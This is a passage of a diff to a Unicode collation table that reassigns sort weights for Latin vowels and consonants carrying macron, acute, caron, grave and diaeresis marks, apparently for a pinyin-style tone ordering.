0302 030C ; [.1CAA.0023.0002] # -0045 0302 030C ; [.1CAA.0023.0008] # -1EC1 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -0065 0302 0300 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -0065 0302 0340 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -1EC0 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -0045 0302 0300 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -0045 0302 0340 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -00EA 0300 ; [.1CAA.0024.0002] # -00EA 0340 ; [.1CAA.0024.0002] # -00CA 0300 ; [.1CAA.0024.0008] # -00CA 0340 ; [.1CAA.0024.0008] # -00EA ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -0065 0302 ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -00CA ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -0045 0302 ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -1EC5 ; [.1CAA.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE -1EC4 ; [.1CAA.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE -1EC3 ; [.1CAA.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -1EC2 ; [.1CAA.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -1EC7 ; [.1CAA.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW -1EC6 ; [.1CAA.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW -012B ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON -0069 0304 ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON -012A ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON -0049 0304 ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON -00ED ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE -0069 0301 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE -0069 0341 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE -00CD ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE -0049 0301 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE -0049 0341 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE -01D0 ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON -0069 030C ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON -01CF ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON -0049 030C ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON -00EC ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE -0069 0300 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE -0069 0340 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE -00CC ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE -0049 0300 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE -0049 0340 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE -006D 0304 ; [.1DAA.001C.0002] # -004D 0304 ; [.1DAA.001C.0008] # -1E3F ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE -006D 0301 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE -006D 0341 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE -1E3E ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE -004D 0301 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE -004D 0341 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE -006D 030C ; [.1DAA.001E.0002] # -004D 030C ; [.1DAA.001E.0008] # -006D 0300 ; [.1DAA.001F.0002] # -006D 0340 ; [.1DAA.001F.0002] # -004D 0300 ; [.1DAA.001F.0008] # -004D 0340 ; [.1DAA.001F.0008] # -006E 0304 ; [.1DB9.001C.0002] # -004E 0304 ; [.1DB9.001C.0008] # -0144 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE -006E 0301 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE -006E 0341 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE -0143 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE -004E 0301 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE -004E 0341 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE -0148 ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON -006E 030C ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON -0147 ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON -004E 030C ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON -01F9 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE -006E 0300 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE -006E 0340 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE -01F8 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE -004E 0300 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE -004E 0340 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE -014D ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON -006F 0304 ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON -014C ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON -004F 0304 ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON -00F3 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0301 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0341 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE -00D3 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0301 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0341 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE -01D2 ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON -006F 030C ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON -01D1 ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON -004F 030C ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON -00F2 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE -006F 0300 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE -006F 0340 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE -00D2 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE -004F 0300 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE -004F 0340 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE -016B ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON -0075 0304 ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON -016A ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON -0055 0304 ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON -00FA ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE -0075 0301 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE -0075 0341 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE -00DA ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE -0055 0301 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE -0055 0341 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE -01D4 ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON -0075 030C ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON -01D3 ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON -0055 030C ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON -00F9 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE -0075 0300 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE -0075 0340 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE -00D9 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE -0055 0300 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE -0055 0340 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE -01D6 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -0075 0308 0304 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -0055 0308 0304 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -00FC 0304 ; [.1EB5.0021.0002] # -00DC 0304 ; [.1EB5.0021.0008] # -01D8 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -0075 0308 0301 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -0075 0308 0341 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -0055 0308 0301 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -0055 0308 0341 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -00FC 0301 ; [.1EB5.0022.0002] # -00FC 0341 ; [.1EB5.0022.0002] # -00DC 0301 ; [.1EB5.0022.0008] # -00DC 0341 ; [.1EB5.0022.0008] # -01DA ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -0075 0308 030C ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -0055 0308 030C ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -00FC 030C ; [.1EB5.0023.0002] # -00DC 030C ; [.1EB5.0023.0008] # -01DC ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -0075 0308 0300 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -0075 0308 0340 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -0055 0308 0300 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -0055 0308 0340 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -00FC 0300 ; [.1EB5.0024.0002] # -00FC 0340 ; [.1EB5.0024.0002] # -00DC 0300 ; [.1EB5.0024.0008] # -00DC 0340 ; [.1EB5.0024.0008] # -00FC ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0101 ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON +0061 0304 ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON +0100 ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON +0041 0304 ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON +00E1 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE +0061 0301 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE +0061 0341 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE +00C1 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0041 0301 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0041 0341 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE +01CE ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON +0061 030C ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON +01CD ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON +0041 030C ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON +00E0 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE +0061 0300 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE +0061 0340 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE +00C0 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0041 0300 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0041 0340 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0113 ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON +0065 0304 ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON +0112 ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON +0045 0304 ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON +00E9 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE +0065 0301 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE +0065 0341 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE +00C9 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE +0045 0301 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE +0045 0341 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE +011B ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON +0065 030C ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON +011A ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON +0045 030C ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON +00E8 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE +0065 0300 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE +0065 0340 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE +00C8 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE +0045 0300 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE +0045 0340 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE +00EA 0304 ; [.1C25.0021.0002] # +00CA 0304 ; [.1C25.0021.0008] # +0065 0302 0304 ; [.1C25.0021.0002] # +0045 0302 0304 ; [.1C25.0021.0008] # +1EBF ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +0065 0302 0301 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +0065 0302 0341 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +1EBE ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +0045 0302 0301 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +0045 0302 0341 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +00EA 0301 ; [.1C25.0022.0002] # +00EA 0341 ; [.1C25.0022.0002] # +00CA 0301 ; [.1C25.0022.0008] # +00CA 0341 ; [.1C25.0022.0008] # +00EA 030C ; [.1C25.0023.0002] # +00CA 030C ; [.1C25.0023.0008] # +0065 0302 030C ; [.1C25.0023.0002] # +0045 0302 030C ; [.1C25.0023.0008] # +1EC1 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +0065 0302 0300 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +0065 0302 0340 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +1EC0 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +0045 0302 0300 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +0045 0302 0340 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +00EA 0300 ; [.1C25.0024.0002] # +00EA 0340 ; [.1C25.0024.0002] # +00CA 0300 ; [.1C25.0024.0008] # +00CA 0340 ; [.1C25.0024.0008] # +00EA ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +0065 0302 ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +00CA ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +0045 0302 ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +1EC5 ; [.1C25.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE +1EC4 ; [.1C25.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE +1EC3 ; [.1C25.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +1EC2 ; [.1C25.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +1EC7 ; [.1C25.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW +1EC6 ; [.1C25.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW +012B ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON +0069 0304 ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON +012A ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON +0049 0304 ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON +00ED ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE +0069 0301 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE +0069 0341 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE +00CD ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE +0049 0301 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE +0049 0341 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE +01D0 ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON +0069 030C ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON +01CF ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON +0049 030C ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON +00EC ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE +0069 0300 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE +0069 0340 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE +00CC ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE +0049 0300 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE +0049 0340 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE +006D 0304 ; [.1D25.001C.0002] # +004D 0304 ; [.1D25.001C.0008] # +1E3F ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE +006D 0301 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE +006D 0341 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE +1E3E ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE +004D 0301 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE +004D 0341 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE +006D 030C ; [.1D25.001E.0002] # +004D 030C ; [.1D25.001E.0008] # +006D 0300 ; [.1D25.001F.0002] # +006D 0340 ; [.1D25.001F.0002] # +004D 0300 ; [.1D25.001F.0008] # +004D 0340 ; [.1D25.001F.0008] # +006E 0304 ; [.1D34.001C.0002] # +004E 0304 ; [.1D34.001C.0008] # +0144 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE +006E 0301 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE +006E 0341 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE +0143 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE +004E 0301 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE +004E 0341 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE +0148 ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON +006E 030C ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON +0147 ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON +004E 030C ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON +01F9 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE +006E 0300 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE +006E 0340 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE +01F8 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE +004E 0300 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE +004E 0340 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE +014D ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON +006F 0304 ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON +014C ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON +004F 0304 ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON +00F3 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0301 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0341 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE +00D3 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0301 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0341 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE +01D2 ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON +006F 030C ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON +01D1 ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON +004F 030C ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON +00F2 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE +006F 0300 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE +006F 0340 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE +00D2 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE +004F 0300 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE +004F 0340 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE +016B ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON +0075 0304 ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON +016A ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON +0055 0304 ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON +00FA ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE +0075 0301 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE +0075 0341 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE +00DA ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE +0055 0301 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE +0055 0341 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE +01D4 ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON +0075 030C ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON +01D3 ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON +0055 030C ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON +00F9 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE +0075 0300 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE +0075 0340 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE +00D9 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE +0055 0300 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE +0055 0340 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE +01D6 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +0075 0308 0304 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +0055 0308 0304 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +00FC 0304 ; [.1E30.0021.0002] # +00DC 0304 ; [.1E30.0021.0008] # +01D8 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +0075 0308 0301 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +0075 0308 0341 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +0055 0308 0301 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +0055 0308 0341 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +00FC 0301 ; [.1E30.0022.0002] # +00FC 0341 ; [.1E30.0022.0002] # +00DC 0301 ; [.1E30.0022.0008] # +00DC 0341 ; [.1E30.0022.0008] # +01DA ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +0075 0308 030C ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +0055 0308 030C ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +00FC 030C ; [.1E30.0023.0002] # +00DC 030C ; [.1E30.0023.0008] # +01DC ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +0075 0308 0300 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +0075 0308 0340 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +0055 0308 0300 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +0055 0308 0340 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +00FC 0300 ; [.1E30.0024.0002] # +00FC 0340 ; [.1E30.0024.0002] # +00DC 0300 ; [.1E30.0024.0008] # +00DC 0340 ; [.1E30.0024.0008] # +00FC ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS FDD0 3105 ; 